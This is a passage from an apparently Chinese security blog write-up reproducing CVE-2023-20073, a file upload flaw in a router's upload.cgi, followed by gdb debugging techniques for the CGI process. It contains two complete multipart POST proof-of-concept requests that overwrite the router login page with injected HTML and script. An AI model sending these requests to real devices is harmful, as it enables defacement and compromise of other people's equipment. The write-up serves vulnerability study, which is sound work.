为例,下面放出该函数执行前和执行后的情况。
这里可以看到确实是把file.path
解析出来了,值为login.html
这是因为当时发送的报文就是这么设置的(如下)。
Content-Disposition: form-data; name="file.path"
login.html
五
漏洞利用
执行流走偏
其他几个字段的解析是同理的,然后我们继续调试,结果发现会进入这个if
中(如下图)最后直接返回,并没有触发到有漏洞的sub_115EC
函数。
需要注意,这里的IDA
显示错误了(如上图),很明显这里是在进行正则匹配,但只有规则,没有要匹配的字符串,不过GDB
依然给力,可以正常显示(如下图)。
这个函数在对login.html
字符串进行匹配,但在发送的报文中我们将file.path
和fileparam
都设置为了login.html
,是匹配的哪个字段的值呢?我们通过IDA
的汇编部分来寻找一下,通过下图可以看出来,R1
的值是从SP,#0x478+var_460
位置拿到的,其实也就是SP+0x18
的位置。
然后我们往上寻找,发现在解析file.path
字段时,出现了这个地址。因此得出结论是match_regex
会对file.path
的值进行正则匹配,函数返回值为1
,于是执行流就走偏了(做一些退出的工作,就结束了,在结束前会调用system
函数将/tmp/upload
下的所有文件删掉)。
控制file.path字段-方法一
要想成功的话,就得让file.path
为/tmp/upload/xxx
,正常的序号应该是下面这样,/tmp/upload/0000000001
,只需要把upload.cgi
进程卡住,查看一下/tmp/upload
目录下的文件即可(如下)。
现在尝试一下,我们设置file.path
字段的值为/tmp/upload/0000000001
再发一次报文,看看能否通过正则检查,发现函数执行后的返回值为0
,如此通过了检查(如下图)。
刚刚发送的报文如下。
POC
------------
Content-Disposition: form-data; name="pathparam"
Portal
------------
Content-Disposition: form-data; name="fileparam"
login.html
------------
Content-Disposition: form-data; name="file.path"
/tmp/upload/0000000001
------------
Content-Disposition: form-data; name="what";filename="login.html";Content-Type: application/octet-stream
<title>test</title>
<script>alert('debug')</script>
------------
继续调试,发现可以成功走到system
函数,并执行mv
命令(如下)。
此时刷新路由器登录界面,发现已经被篡改掉了(如下)。
控制file.path字段-方法二
这里是winmt师傅使用的一种比较优雅控制file.path
的方法,上面提到的方法file.path
字段是我们主动发过去的,其实报文会根据配置文件来自动来添加一个xxx.path
,配置文件分析这里其实就说了这个地方(如下图)。
这里的$upload_file_name
就是报文中Content-Disposition: form-data; name="what";filename="login.html"
的name
字段,然后在upload_set_form_field $upload_field_name.path "$upload_tmp_path"
这行代码,会把上传文件的路径记录到这个xxx.path
字段,这个xxx
也就是上面的name
字段的值。
验证的话,只需要看一下上面那次POST
报文的数据就会发现what.path
字段的值就是/tmp/upload/00000000001
(如下图)。
所以实际上报文也可以这么写(如下),这样不需要手动传入file.path
字段,这个的优点是不知道文件的上传路径依然也能够攻击成功。这次就不再调试了,执行流什么的和上面一样。
POC
------------
Content-Disposition: form-data; name="pathparam"
Portal
------------
Content-Disposition: form-data; name="fileparam"
login.html
------------
Content-Disposition: form-data; name="file";filename="login.html";Content-Type: application/octet-stream
<title>The website has been hacked!</title>
<script>alert('The website has been hacked')</script>
------------
攻击效果
六
调试方法
因为upload.cgi
进程被调用是一闪而逝的,想正常查看进程号来附加进程调试是不可能的,所以下面介绍三种可以调试upload.cgi
的方法。
方法1-爆破
这个原理很好理解,就是写一个shell
脚本不断的去捕获upload.cgi
进程号,如果捕获到了就立刻去执行gdbserver
,缺点是全凭概率,大概率是捕获不到的(感觉有三成的几率用循环能捕获到该进程),并且没法控制断点位置,因为我们无法干预捕获到进程号并加载调试的时间,有可能upload.cgi
都快执行完才加载上去啥的,就随机性很大,大概率看不到自己想要的,但也算是一种调试方法。
while true; do
PID=$(pidof upload.cgi)
if [ -n "$PID" ]; then
echo "upload.cgi process ID is:$PID"
./gdbserver 0.0.0.0:9999 --attach $PID
else
echo "No get upload.cgi process ID"
fi
done
使用上面的爆破脚本开始运行,然后gdb
执行target remote 192.168.45.66:9999
,接着发送报文,此时会触发upload.cgi
进程,如果运气好的话爆破脚本此时正好会捕捉到进程号,开启调试。
下图为爆破成功的情况。
方法2-死循环
该方法对于这种fork
子进程启动cgi
最稳定的调试方法 -- 也是winmt最爱的调试方法。
在upload.cgi
的main
函数起始位置,将首次进行跳转的指令给改成跳到本条指令地址的指令,使程序陷入死循环。
上面getenv
函数跳转时,正常的汇编代码应该如下:
然后现在把0x10E0C
这个地址存放的指令BL getenv
改成B 0x10E0C
这样就可以让进程upload.cgi
陷入死循环(使用插件keypatch
进行修改)。
此时改完之后查看伪代码应该是这样的,如下:
然后将patch
完的文件保存后,放到/www/cgi-bin
目录下(记得把原本正常的upload.cgi
备份),直接重启nginx
服务,然后发送攻击报文的话,路由器的界面会出现502
错误(如下)。
nginx
服务本身会报一个Permission denied
的错误,这是因为传进来的upload.cgi
属于root
用户,但是启动upload.cgi
进程的用户是www-data
(ps -ef
可以查看),它的uid
是33
,权限不够。
解决方法是把其他用户组的访问权限设置为7
,这里图方便直接执行了chmod 777 upload.cgi
(之前我还纳闷为什么可以成功的单独运行 upload.cgi 程序,却服务启动的时候说权限不够,现在知道了单独运行upload.cgi
是因为执行的用户本身就是root
,以前对于linux
上的权限设置有些一知半解,这里要特别感谢winmt师傅帮我解决了这个问题并且还要感谢我的同学timochan(https://www.timochan.cn/)帮助我彻底理解了这里)。
然后重启nginx
服务,发送攻击报文,此时正常的话服务是卡住的,访问路由器登录界面没反应,并且也能看到upload.cgi
的进程号。
用gdb.server + gdb
实现远程调试gdbserver 下载链接(https://github.com/stayliv3/gdb-static-cross/blob/master/prebuilt/gdbserver-7.7.1-armhf-eabi5-v1-sysv)。下载后需要用scp
传入到qemu
中。执行命令./gdbserver 0.0.0.0:9999 --attach PID。
在宿主机中执行sudo gdb-multiarch upload.cgi
这里也设置upload.cgi
是为了加载出来程序的符号。
执行set endian little
设置一下字节序,执行set architecture arm
设置一下架构再执行target remote 192.168.45.66:9999
就可以附加upload.cgi
进程进行调试了。
一切正常的话,界面应该如下:
因为我们通过patch
让进程陷入了死循环,所以要用set
命令给改回正常的指令,查看之前备份的upload.cgi
文件,发现这里原本机器码为AA FF FF EB,因此执行set *0x10e0c=0xebffffaa
命令(因为小端序,这里是反着输入的)。
至此就可以正常来调试upload.cgi
进程(如下)。
还有一个坑,调试的时候会发现,调试几分钟,就会出现右下角的报错(如下图)。
原因是在uwsgi
的配置文件中设置了时间限制(如下图),解决方法就把这个值改的很大即可。
方法3-父进程
该方法在这里没有实验成功,但理论上可行。去找到调用upload.cgi
的进程(也就是uwsgi -m --ini /etc/uwsgi/upload.ini
),调试upload.cgi
的父进程,等到fork
创建子进程,切换到子进程,并用catch exec
命令捕获新事件,在执行execvp
后即可跳转到upload.cgi
上调试(upload.cgi
进程会替代原本的子进程 ),理论上是这个样子。失败原因:gdb
加载进程调试后,似乎出现了一些问题。第一是fork
后子进程没出来(gdb
上看不到);第二execvp
这里执行后不支持catch exec
;第三是gdb
挂上来后,有些指令会导致进程的崩溃。
尾声
CVE-2023-20073的复现结束了,在这个过程中有过惊喜、不解、困惑各样的情绪。还记得当时我做了两天,启动服务这块还是失败的。后来用的网上找的内核镜像和磁盘映像文件(里面有一个老版本固件解出来的文件系统),直到整个复现过程的结束,我用的都不是自己解压出来的文件系统。这个点一个星期都在抽空不断的尝试,但都没有成功。第八天,不知什么时候我尝试了scp
应该传压缩后的文件系统,并且binwalk
要保留文件的软链接,这一次我成功将服务启动成功,用的是我自己解压出来的最新固件。当时我给winmt说现在的心情就和中了五百万一样,可实际上我只不过是成功的解压了一个固件启动了服务而已,这种心情很奇怪,可能只有各位亲自遇见了困扰自己许久的问题最终还是被自己给解决掉才能体会到(也不希望各位花费一个星期只为体会到这种心情,哈哈~)。
如果结尾只写一句话的话,应该是 “感谢winmt和坚持的ZIKH26,他教会了我很多,不止技术,还有态度”。
看雪ID:ZIKH26
https://bbs.kanxue.com/user-home-953233.htm

# 往期推荐
3、安卓加固脱壳分享


球分享

球点赞

球在看
原文始发于微信公众号(看雪学苑):从零开始复现 CVE-2023-20073